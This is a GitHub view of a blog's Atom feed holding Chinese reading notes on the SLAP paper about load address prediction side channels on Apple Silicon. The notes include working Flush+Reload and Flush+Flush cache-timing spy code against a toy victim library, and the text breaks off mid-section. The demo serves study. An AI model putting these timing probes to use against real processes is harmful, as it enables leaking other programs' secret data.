-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathatom.xml
More file actions
506 lines (292 loc) · 729 KB
/
atom.xml
File metadata and controls
506 lines (292 loc) · 729 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>House of summ2r</title>
<link href="http://summ2.link/atom.xml" rel="self"/>
<link href="http://summ2.link/"/>
<updated>2026-02-09T16:00:00.000Z</updated>
<id>http://summ2.link/</id>
<author>
<name>summ2</name>
</author>
<generator uri="https://hexo.io/">Hexo</generator>
<entry>
<title>论文阅读笔记:Apple Silicon 上的地址预测和侧信道</title>
<link href="http://summ2.link/categories/Study/apple-slap/"/>
<id>http://summ2.link/categories/Study/apple-slap/</id>
<published>2026-02-09T16:00:00.000Z</published>
<updated>2026-02-09T16:00:00.000Z</updated>
<content type="html"><![CDATA[<h1 id="paper-reading-slap-data-speculation-attacks-via-load-address-prediction-on-apple-silicon">Paperreading: <em>SLAP: Data Speculation Attacks via Load Address Predictionon Apple Silicon</em></h1><span id="more"></span><p><img src="/Paper%20reading%20SLAP%20Data%20Speculation%20Attacks%20via%20Load%20Address%20Prediction%20on%20Apple%20Silicon/image-20251020220652656.png"></p><blockquote><p>https://ieeexplore.ieee.org/document/11023377</p></blockquote><h1 id="abstract">Abstract</h1><p>这篇论文研究了 Apple Silicon 上的 Load Address 预测机制 (LAP).通过对 LAP 的分析、利用实现了通过侧信道的信息泄漏, 绕过 ASLR, 影响控制流,并且在 Safari 中构造了一个越界读原语.</p><h1 id="speculation-and-spectre">Speculation and <em>Spectre</em></h1><p>现代 CPU 为了提升性能, 往往会引入预测执行技术 (Speculative Execution).例如分支预测 (branch prediction),其中动态分支预测会基于运行时的动态执行信息,自适应地对分支预测情况做动态调整:</p><figure><img src="/Paper%20reading%20SLAP%20Data%20Speculation%20Attacks%20via%20Load%20Address%20Prediction%20on%20Apple%20Silicon/960px-Branch_prediction_2bit_saturating_counter-dia.svg.png" alt="State diagram of 2-bit saturating counter"><figcaption aria-hidden="true">State diagram of 2-bit saturatingcounter</figcaption></figure><p>Spectre 是一个利用预测执行来获取敏感数据的漏洞, 它通过侧信道,获取 CPU 预测执行错误产生的敏感数据.</p><p>为了进一步提高 CPU 的性能,架构师还提出了对数据流的预测来缓解数据冒险 (Data Hazards).本篇论文主要聚焦于这种现代 CPU 上的数据预测机制以及其安全性的研究.</p><h1 id="background">Background</h1><h2 id="cache-organization-on-apple-silicon"><strong>Cache Organizationon Apple Silicon</strong></h2><p>Apple CPUs 使用大小核的架构将核心分为 Performance (P)cores 和 Efficiency (E) cores. 每个核心都有私有的 L1caches 和同种核心共享的 L2 caches. 这些缓存划分为缓存组,对于任何一个内存地址, 只能存放到由这个地址部分确定的缓存组中.</p><h2 id="side-channel-attacks-on-caches">Side-Channel Attacks onCaches</h2><p>由于缓存是共享给所有进程的,通过测量获得确定数据的延迟可以推测目标进程的秘密活动.先前的工作可以总结成如下几种方式:</p><h3 id="flushreload">Flush+Reload</h3><p><span class="math inline">\(Flush+Reload\)</span> 是一种基于 PageSharing, 针对 Last-Level Cache 的侧信道攻击.</p><p>攻击流程分为三个阶段:</p><ol type="1"><li>驱逐目标内存行的缓存</li><li>等待目标程序去访问</li><li>重新加载内存行, 并测量花费的时间</li></ol><p><img src="/Paper%20reading%20SLAP%20Data%20Speculation%20Attacks%20via%20Load%20Address%20Prediction%20on%20Apple%20Silicon/image-20251023120915824.png"></p><p>根据时间的长短, 我们可以归类为上图的几类情形.</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">probe</span><span class="params">(<span class="type">void</span>* adrs)</span> {</span><br><span class="line"> <span class="keyword">volatile</span> <span class="type">unsigned</span> <span class="type">long</span> time;</span><br><span class="line"> <span class="keyword">asm</span> __volatile__ (</span><br><span class="line"> <span class="string">" mfence \n"</span> </span><br><span class="line"> <span class="string">" lfence \n"</span> </span><br><span class="line"> <span class="string">" rdtsc \n"</span></span><br><span class="line"> <span class="string">" lfence \n"</span></span><br><span class="line"> <span class="string">" movl %%eax, %%esi \n"</span></span><br><span class="line"> <span class="string">" movl (%1), %%eax \n"</span></span><br><span class="line"> <span class="string">" lfence \n"</span></span><br><span class="line"> <span class="string">" rdtsc \n"</span></span><br><span class="line"> <span class="string">" subl %%esi, %%eax \n"</span></span><br><span class="line"> <span class="string">" clflush 0(%1) \n"</span></span><br><span class="line"> : <span class="string">"=a"</span> (time)</span><br><span class="line"> : <span class="string">"c"</span> (adrs)</span><br><span class="line"> : <span class="string">"%esi"</span>, <span class="string">"%edx"</span> );</span><br><span class="line"> <span class="keyword">return</span> time;</span><br><span class="line"> }</span><br></pre></td></tr></tbody></table></figure><p><code>mfence</code> 和 <code>lfence</code> 确保先前的内存操作都已完成,防止乱序执行</p><p><code>rdtsc</code> 读取 CPU 时间戳计数器 (TSC) 的值到 <code>EDX:EAX</code></p><p><strong>由于架构差异, 在我的 AMD Zen 4CPU 上似乎无法进行利用.</strong></p><p>但是基于类似的思路, 我们可以尝试 <em>flush+flush</em> 的攻击:</p><p> 缓存命中时 <code>clflush</code> 慢:如果一个内存位置(缓存行)当前在CPU 缓存中 (Hit),处理器执行 <code>clflush</code>指令来清空它,需要花费额外的时间将该缓存行写回或逐出到更低一级缓存或主内存。</p><p> 缓存缺失时 <code>clflush</code> 快:如果一个内存位置不在任何一级缓存中 (Miss),处理器执行<code>clflush</code>时,只需要做一次快速的检查和无效化操作,耗时非常短。</p><p>我们编写一个共享库 <code>shared_target.c</code></p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><unistd.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><string.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">target_function</span><span class="params">(<span class="type">int</span> counter)</span> {</span><br><span class="line"></span><br><span class="line"> <span class="keyword">volatile</span> <span class="type">int</span> a = <span class="number">1</span>;</span><br><span class="line"> a = a + counter;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (counter % <span class="number">100000</span> == <span class="number">0</span>) {</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"[Victim] 访问目标函数. 计数: %d\n"</span>, counter);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"><span class="type">void</span> *<span class="title function_">get_target_address</span><span class="params">()</span> {</span><br><span class="line"> <span class="keyword">return</span> (<span class="type">void</span> *)&target_function;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>一个目标程序 <code>victim.c</code></p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><dlfcn.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><unistd.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">typedef</span> <span class="title function_">void</span> <span class="params">(*TargetFunc)</span><span class="params">(<span class="type">int</span>)</span>;</span><br><span class="line"><span class="keyword">typedef</span> <span class="type">void</span>* (*GetAddrFunc)();</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span> *argv[])</span> {</span><br><span class="line"> <span class="type">void</span> *handle;</span><br><span class="line"> TargetFunc target_func;</span><br><span class="line"> GetAddrFunc get_addr_func;</span><br><span class="line"></span><br><span class="line"> handle = dlopen(<span class="string">"./libtarget.so"</span>, RTLD_LAZY);</span><br><span class="line"> <span class="keyword">if</span> (!handle) {</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"错误: 无法加载共享库: %s\n"</span>, dlerror());</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> target_func = (TargetFunc)dlsym(handle, <span class="string">"target_function"</span>);</span><br><span class="line"> <span class="keyword">if</span> (!target_func) {</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"错误: 无法找到 target_function: %s\n"</span>, dlerror());</span><br><span class="line"> dlclose(handle);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"[Victim] target address: %p\n"</span>, target_func);</span><br><span class="line"> getchar();</span><br><span class="line"></span><br><span class="line"> <span class="type">int</span> counter = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">while</span> (<span class="number">1</span>) {</span><br><span class="line"> target_func(counter++);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">volatile</span> <span class="type">int</span> i = <span class="number">0</span>; i < <span class="number">50</span>; i++);</span><br><span class="line"> }</span><br><span class="line"> dlclose(handle);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>然后编写一个 <em>flush+flush</em> 的验证程序</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><stdint.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><time.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><dlfcn.h></span></span></span><br><span class="line"><span class="type">static</span> <span class="keyword">inline</span> <span class="type">void</span> <span class="title function_">flush</span><span class="params">(<span class="type">void</span> *p)</span> {</span><br><span class="line"> <span class="keyword">asm</span> <span class="title function_">volatile</span> <span class="params">(<span class="string">"clflush 0(%0)"</span> : : <span class="string">"r"</span> (p) : <span class="string">"memory"</span>)</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="keyword">inline</span> <span class="type">uint64_t</span> <span class="title function_">flush_and_time</span><span class="params">(<span class="type">void</span> *p)</span> {</span><br><span class="line"> <span class="type">uint32_t</span> hi, lo;</span><br><span class="line"> <span class="type">uint64_t</span> start, end;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">asm</span> <span class="title function_">volatile</span> <span class="params">(<span class="string">"rdtscp"</span> : <span class="string">"=a"</span>(lo), <span class="string">"=d"</span>(hi))</span>;</span><br><span class="line"> start = ((<span class="type">uint64_t</span>)hi << <span class="number">32</span>) | lo;</span><br><span class="line"></span><br><span class="line"> flush(p);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">asm</span> <span class="title function_">volatile</span> <span class="params">(<span class="string">"rdtscp"</span> : <span class="string">"=a"</span>(lo), <span class="string">"=d"</span>(hi))</span>;</span><br><span class="line"> end = ((<span class="type">uint64_t</span>)hi << <span class="number">32</span>) | lo;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="keyword">asm</span> <span class="title function_">volatile</span> <span class="params">(<span class="string">"lfence"</span> : : : <span class="string">"memory"</span>)</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> end - start;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> THRESHOLD 100</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> MEASUREMENT_COUNT 100000</span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span> {</span><br><span class="line"> <span class="type">uint64_t</span> total_time = <span class="number">0</span>;</span><br><span class="line"> <span class="type">int</span> hit_count = <span class="number">0</span>;</span><br><span class="line"> <span class="type">int</span> miss_count = <span class="number">0</span>;</span><br><span class="line"> <span class="type">void</span> *handle = dlopen(<span class="string">"./libtarget.so"</span>, RTLD_LAZY);</span><br><span class="line"> <span class="keyword">if</span> (!handle) {</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"错误: 无法加载共享库 libtarget.so: %s\n"</span>, dlerror());</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="type">void</span> *target_ptr = dlsym(handle, <span class="string">"target_function"</span>);</span><br><span class="line"> <span class="keyword">if</span> (!target_ptr) {</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"错误: 无法找到 target_function: %s\n"</span>, dlerror());</span><br><span class="line"> dlclose(handle);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Address: %p\n"</span>, target_ptr);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Threshold (Cycles): %d\n"</span>, THRESHOLD);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i < <span class="number">1000</span>; i++) {</span><br><span class="line"> flush(target_ptr);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i < MEASUREMENT_COUNT; i++) {</span><br><span class="line"> <span class="type">uint64_t</span> time = flush_and_time(target_ptr);</span><br><span class="line"> total_time += time;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (time > THRESHOLD) {</span><br><span class="line"> hit_count++;</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> miss_count++;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">volatile</span> <span class="type">int</span> j = <span class="number">0</span>; j < <span class="number">50</span>; j++);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"----------------------------------------\n"</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"总测量次数: %d\n"</span>, MEASUREMENT_COUNT);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"平均 Flush 时间: %.2f 周期\n"</span>, (<span class="type">double</span>)total_time / MEASUREMENT_COUNT);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"慢速 Flush (推测命中): %d 次\n"</span>, hit_count);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"快速 Flush (推测缺失): %d 次\n"</span>, miss_count);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></tbody></table></figure><p><em>Makefile</em>:</p><figure class="highlight makefile"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">CC = gcc</span><br><span class="line">CFLAGS = -Wall -Wextra -std=c11</span><br><span class="line">SHARED_FLAGS = -c -fPIC</span><br><span class="line">LINK_SHARED_FLAGS = -shared</span><br><span class="line">LINK_DYNAMIC = -ldl</span><br><span class="line"></span><br><span class="line">TARGET_LIB = libtarget.so</span><br><span class="line">TARGET_VICTIM = victim</span><br><span class="line">TARGET_SPY = spy</span><br><span class="line"></span><br><span class="line">SHARED_OBJ = shared_target.o</span><br><span class="line"></span><br><span class="line"><span class="meta"><span class="keyword">.PHONY</span>: all clean</span></span><br><span class="line"></span><br><span class="line"><span class="section">all: <span class="variable">$(TARGET_VICTIM)</span> <span class="variable">$(TARGET_SPY)</span></span></span><br><span class="line"></span><br><span class="line"><span class="variable">$(TARGET_LIB)</span>: <span class="variable">$(SHARED_OBJ)</span></span><br><span class="line"> <span class="variable">$(CC)</span> <span class="variable">$(LINK_SHARED_FLAGS)</span> <span class="variable">$(SHARED_OBJ)</span> -o <span class="variable">$@</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$(SHARED_OBJ)</span>: shared_target.c</span><br><span class="line"> <span class="variable">$(CC)</span> <span class="variable">$(SHARED_FLAGS)</span> <span class="variable">$(CFLAGS)</span> <span class="variable">$<</span> -o <span class="variable">$@</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$(TARGET_VICTIM)</span>: victim.c <span class="variable">$(TARGET_LIB)</span></span><br><span class="line"> <span class="variable">$(CC)</span> <span class="variable">$<</span> -o <span class="variable">$@</span> <span class="variable">$(LINK_DYNAMIC)</span> ./<span class="variable">$(TARGET_LIB)</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$(TARGET_SPY)</span>: main.c <span class="variable">$(TARGET_LIB)</span></span><br><span class="line"> <span class="variable">$(CC)</span> <span class="variable">$<</span> -o <span class="variable">$@</span> <span class="variable">$(LINK_DYNAMIC)</span> ./<span class="variable">$(TARGET_LIB)</span></span><br><span class="line"></span><br><span class="line"><span class="section">clean:</span></span><br><span class="line"> rm -f <span class="variable">$(TARGET_LIB)</span> <span class="variable">$(TARGET_VICTIM)</span> <span class="variable">$(TARGET_SPY)</span> <span class="variable">$(SHARED_OBJ)</span></span><br><span class="line"></span><br></pre></td></tr></tbody></table></figure><figure><img src="/Paper%20reading%20SLAP%20Data%20Speculation%20Attacks%20via%20Load%20Address%20Prediction%20on%20Apple%20Silicon/image-20251024151733062.png" alt="A dry run"><figcaption aria-hidden="true">A dry run</figcaption></figure><p><img src="/Paper%20reading%20SLAP%20Data%20Speculation%20Attacks%20via%20Load%20Address%20Prediction%20on%20Apple%20Silicon/image-20251024151824155.png" alt="Spy when victim running"><img src="/Paper%20reading%20SLAP%20Data%20Speculation%20Attacks%20via%20Load%20Address%20Prediction%20on%20Apple%20Silicon/image-20251024151842999.png" alt="victim"></p><h3 id="primeprobe">Prime+Probe</h3><p>相比于可能需要特权才能执行的<span class="math inline"> \(Flush+Reload\)</span>, <span class="math inline">\(Prime+Probe\)</span> 是一种在非特权下也可行的 Last-LevelCache 侧信道攻击.</p><p>攻击流程也比较类似:</p><ol type="1"><li>攻击者访问一组目标地址, 这将填充一个缓存组 (cacheset) 中的多个缓存行</li><li>等待一段时间</li><li>攻击者再次访问目标地址, 并测量花费的时间</li></ol><p>这里还涉及到如何寻找这组目标地址的问题,这组地址也被称为驱逐集 (eviction set).不过这又可以单独开个坑去了解了 (</p><p>https://arxiv.org/pdf/1810.01497</p><h2 id="control-hazards-and-speculative-execution">Control Hazards andSpeculative Execution</h2><p>这里主要是说预测执行错误导致的 Control Hazards,产生的缓存数据没有被撤销. 导致了可能的侧信道攻击.</p><h2 id="data-hazards-and-out-of-order-execution">Data Hazards andOut-of-Order Execution</h2><p>类似地, 由于现代 CPU 的乱序执行机制,有时候会产生当前指令需要使用之前指令的运算结果,但是结果还没有写回的情形, 被称为 Data Hazards.</p><p>在下列 Data hazards 的情形中:</p><ol type="1"><li><p><strong>Read-After-Write(RAW)</strong>当前指令的源操作数是先前指令的目的操作数</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">ADD X1, X2, X3;</span><br><span class="line">SUBS X4, X1, X5;</span><br></pre></td></tr></tbody></table></figure></li><li><p><strong>Write-After-Read(WAR)</strong>寄存器被一条旧的指令读取和新的指令写入</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">LDR X4,[X5];</span><br><span class="line">ADD X5, X6, X7;</span><br></pre></td></tr></tbody></table></figure></li><li><p><strong>Write-After-Write(WAW)</strong>寄存器被一条旧的指令写入和新的指令写入</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">ADD X1, X2, X3;</span><br><span class="line">ADD X1, X4, X5;</span><br></pre></td></tr></tbody></table></figure></li></ol><p>其中, WAR 和 WAW 可以通过寄存器重命名解决 (Register Renaming).</p><p>而情形 1 由于必须等待先前指令的完成, 只能按顺序执行这些指令.</p><h2 id="load-address-prediction">Load Address Prediction</h2><p>这种预测是本文主要所研究的, 一个 Load AddressPredictor (LAP) 的行为由下图所示.</p><p><img src="/Paper%20reading%20SLAP%20Data%20Speculation%20Attacks%20via%20Load%20Address%20Prediction%20on%20Apple%20Silicon/image-20251119140625369.png"></p><p>LAPs 一般会记录在 <code>0xabcd</code> 中的地址 <code>x1</code>.如果这个地址是可预测的, 那就会提前加载所预测的地址,并在指令执行的时候直接转发. 如果预测不正确, 那么 CPU 会冲刷流水线 (PipelineFlush) 并且从正确的加载地址处继续执行.</p><h1 id="reverse-engineering-the-lap">Reverse Engineering the LAP</h1><p>在这节中, 论文中介绍了如何确认 LAP 在 AppleSilicon 的存在以及具体机制.</p><p><img src="/Paper%20reading%20SLAP%20Data%20Speculation%20Attacks%20via%20Load%20Address%20Prediction%20on%20Apple%20Silicon/image-20251119143828894.png"></p><p>使用以下的 <code>array</code>, 并且测量指令的执行时间:</p><p><img src="/Paper%20reading%20SLAP%20Data%20Speculation%20Attacks%20via%20Load%20Address%20Prediction%20on%20Apple%20Silicon/image-20251119144008272.png"></p><p><img src="/Paper%20reading%20SLAP%20Data%20Speculation%20Attacks%20via%20Load%20Address%20Prediction%20on%20Apple%20Silicon/image-20251119144017959.png"></p><p>可看出在 M2 (P), M3 (P) 中的加载时间变小了.</p><p>接下来, 引入了一种实验方法 SA+RV (Striding Addresses from RandomValues), 来确定这是 LAP</p><p>内存布局如下:</p><p><img src="/Paper%20reading%20SLAP%20Data%20Speculation%20Attacks%20via%20Load%20Address%20Prediction%20on%20Apple%20Silicon/image-20251119150111663.png"></p><p>并且修改了遍历逻辑:</p><p><img src="/Paper%20reading%20SLAP%20Data%20Speculation%20Attacks%20via%20Load%20Address%20Prediction%20on%20Apple%20Silicon/image-20251119150100323.png"></p><p>这样, <code>array</code> 中的值是随机的, 而加载地址仍是可预测的.在 M2 (P) 和 M3 (P) 上测试发现 LAP 存在:</p><p><img src="/Paper%20reading%20SLAP%20Data%20Speculation%20Attacks%20via%20Load%20Address%20Prediction%20on%20Apple%20Silicon/image-20251119150032685.png"></p><p>为了进一步探究 LAP 的机制, 先前的测试过程中都是预测一直正确的情况,通过另一种设计, 来让预测发生错误.</p><p><img src="/Paper%20reading%20SLAP%20Data%20Speculation%20Attacks%20via%20Load%20Address%20Prediction%20on%20Apple%20Silicon/image-20251128195039174.png"></p><p>使用之前所提到的 Flush+Reload,可以判断出 CPU 是否访问了 <code>Secret</code>.</p><p><img src="/Paper%20reading%20SLAP%20Data%20Speculation%20Attacks%20via%20Load%20Address%20Prediction%20on%20Apple%20Silicon/image-20251128195144339.png"></p><p>基于上面 Figure 5 的结果, 实验使用了 501 个 nodes 的链表, 500 个 stridingdata pointer. 并且给出了下列的访问延迟图表:</p><p><img src="/Paper%20reading%20SLAP%20Data%20Speculation%20Attacks%20via%20Load%20Address%20Prediction%20on%20Apple%20Silicon/image-20251203112107683.png"></p><p>可见 CPU 访问了 <code>Secret</code>.</p><h2 id="spatial-conditions-for-speculation">Spatial Conditions forSpeculation</h2><p>通过设置不同的测试条件, 可以测量 LAP 的具体工作条件.</p><p><img src="/Paper%20reading%20SLAP%20Data%20Speculation%20Attacks%20via%20Load%20Address%20Prediction%20on%20Apple%20Silicon/image-20251203115803455.png"></p><h2 id="temporal-conditions-for-speculation">Temporal Conditions forSpeculation</h2><p>在 Listing 3 